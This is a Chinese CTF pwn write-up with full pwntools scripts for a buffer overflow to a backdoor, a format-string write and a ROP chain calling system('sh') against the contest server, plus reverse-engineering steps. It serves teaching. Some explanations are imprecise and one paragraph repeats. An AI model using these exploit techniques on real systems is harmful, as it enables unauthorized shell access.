文章目录
一:ret2text
from pwn import *
context.arch="amd64"
io=remote("101.34.90.86",10002)
secure_addr=0x400852
payload=b"a"*0x10+b"a"*0x8+p64(secure_addr)
io.sendlineafter("name",payload)
io.interactive()
我们需要获取四个部分
1:服务器地址与端口号
题目会直接给你,比如这道题目的地址为node2.zjnuoj.com,端口号为38011,对应上述脚本的io=remote(“101.34.90.86”,10002)
如果你不想填入域名,而想填入端口号,打开cmd,输入ping node2.zjnuoj.com即可获得
2:传入参数
一般ret2text会有一个接收参数的方法,我们需要使传入的参数大于他自定义的参数范围既可pwn穿。
将ret2text文件拖入IDA中,找到main函数后双击
按F5反汇编
找到三个方法后都点进去看看
观察到是get接收,同时问题是tell me your name,所以其中有个参数为name,则填入
io.sendlineafter(“name”,payload)
如果问的问题是:tell me anything,则填入的参数为:
io.sendlineafter("?",payload)
3:参数的接收范围
我们发现范围是0-10h,则我们填入payload=b"a"*0x10+b"a"*0x8+p64(secure_addr)
如果我们发现范围为1-64h,则我们填入:payload=b"a"*0x64+b"a"*0x8+p64(secure_addr)
4:找到bin/sh所在的地址
按Shift+F12进行全局搜索
发现在backdoor方法里
我们在左边的边框找到backdoor
点进去
然后按tab键,有时候按tab+空格键
找到地址为400852,填入
secure_addr=0x400852
将脚本拖到虚拟机中,在此处打开终端,输入
python3 exp.py
cat flag.txt即可获得flag
二:your_nc
先运行一下试试
端口号题目给出了:101.34.90.86 10004
这个题目没什么原则,运行一下就发现可以进入了,然后直接ls再cat一下就好了
三:overflow
这个题目的端口号为:101.34.90.86 10000
我们还是把他拖到IDA中
我们分析代码,看到scanf知道题目要我们输入两个参数v5和v4,unsigned表示无符号数》1表示右移一位,右移表示除以2,abs表示取绝对值
所以v6的值为(v4+v5)/2+|(v5-v4)|/2,注意前为无符号,后为有符号
所以其实v6就是求两者的最大值
如果输入的数不是整数,则返回too young
然后令v7=v5*v4
如果v6等于v7,则返回一个假的flag,如果v6<=v7,则返回Well…but where is the flag?
所以得到flag当然需要v6>v7
我们又知道,负数的无符号数要大于正数的无符号数
因为负数的无符号数为1XXXXXXX
而正数的无符号数为0XXXXXXX
所以我们只需要输入两个数字,两个数字都为负数即可。
四:printf
端口号:101.34.90.86 10001
from pwn import *
context.arch="amd64"
io=remote("101.34.90.86",10001)
# io =process("./printf")
sth_addr=0x60108C
io.recvuntil("Give me something to printf:")
# 6表示字符串偏移,将sth_addr改为114514
payload = fmtstr_payload(6,{sth_addr:114514})
io.send(payload)
io.interactive()
1:找到如何进入/bin/sh
首先还是观察一下main函数
函数告诉我们当sth==114514时我们可以进入bin/sh
2:找到sth的地址
我们直接点进去发现60108C是sth的地址
3:获得格式化字符串的偏移量
首先运行文件输入./printf
发现权限不够,则输入chmod 777 printf
然后输入aaaaaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
我们数一数发现a到0x61(包括0x61)的有6个偏移量
则payload = fmtstr_payload(6,{sth_addr:114514})
将exp拖入虚拟机中运行
五:rop
端口号为:“101.34.90.86”,10003
脚本:
from pwn import *
context.arch="amd64"
io=remote("101.34.90.86",10003)
# io =process("./rop")
elf=ELF("./rop")
# 表示全局搜索elf文件中名称为“system”的函数
system_addr=elf.sym["system"]
# \x00表示字符串中止标记,即找到含有sh的字符串,b是字符串标记
# elf.search表示获得含有sh字符串地址的列表,next表示获得列表中的第一个地址
sh_addr=next(elf.search(b"sh\x00"))
# asm表示将“pop rdi;ret”编译为二进制代码
pop_rdi_ret=next(elf.search(asm("pop rdi; ret")))
# 获得含有return的地址
ret_addr=next(elf.search(asm("ret")))
# bi0xbi0x表示八个字节的占位符,也可以写成0x8
# p64(ret_addr)是为了补充位数,没有其他特别含义
payload = b"b"*0x20+b"bi0xbi0x"+p64(ret_addr)
# p64表示翻译为0与1,进行字符串+即执行每个地址对应的指令
payload+=p64(pop_rdi_ret)+p64(sh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()
我们还是在IDA中打开,双击查看mian。然后F5反汇编
每个函数都查看一下发现:
这个就是在告诉我们偏移地址
payload = b"b"*0x20+b"bi0xbi0x"+p64(ret_addr)
同时我们需要找到/bin/sh文件的位置,按shift+f12,发现没有/bin/sh,但是有/bin/woodwhale
所以我们接下俩的操作为:
1:获取代码中任意一个函数的地址
system_addr=elf.sym[“system”]
2:获取含有sh的字符串的地址
sh_addr=next(elf.search(b"sh\x00"))
3:获得pop rdi ret的地址
pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))
所以这个题目我们需要干什么呢?
我们希望执行/bin/sh来进入对方的终端,但是我们并不知道/bin/sh的地址,但是我们可以找到一个函数,然后在函数中传入sh这个参数,这样我们就相当于执行/bin/sh了,那我们怎么往函数中传入参数呢。
首先我们获得sh这个字符串的地址,然后执行pop rdi ret。pop rdi是指将sh存放进入rdi中,同时rip这个指针指向sh。但是pop会导致sh不在程序执行流,所以要加一个ret,来回到程序执行流,最后我们使用p64(system_addr)来执行system即执行/bin/sh
在虚拟机中执行
拓展:
1:为什么使用rdi
因为我们需要用到寄存器来存放地址,除了rdi以外我们还可以使用rsi rdx rcx r8 r9
2:获取地址有没有其他方式
我们上文中获取地址是通过pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))
其实我们也可以直接获得pop rdi ret这个操作的地址
所以我们也可以直接写成
pop_rdi_ret=0x00000000004008d3
没有其他方式
我们上文中获取地址是通过pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))
其实我们也可以直接获得pop rdi ret这个操作的地址
pop_rdi_ret=0x00000000004008d3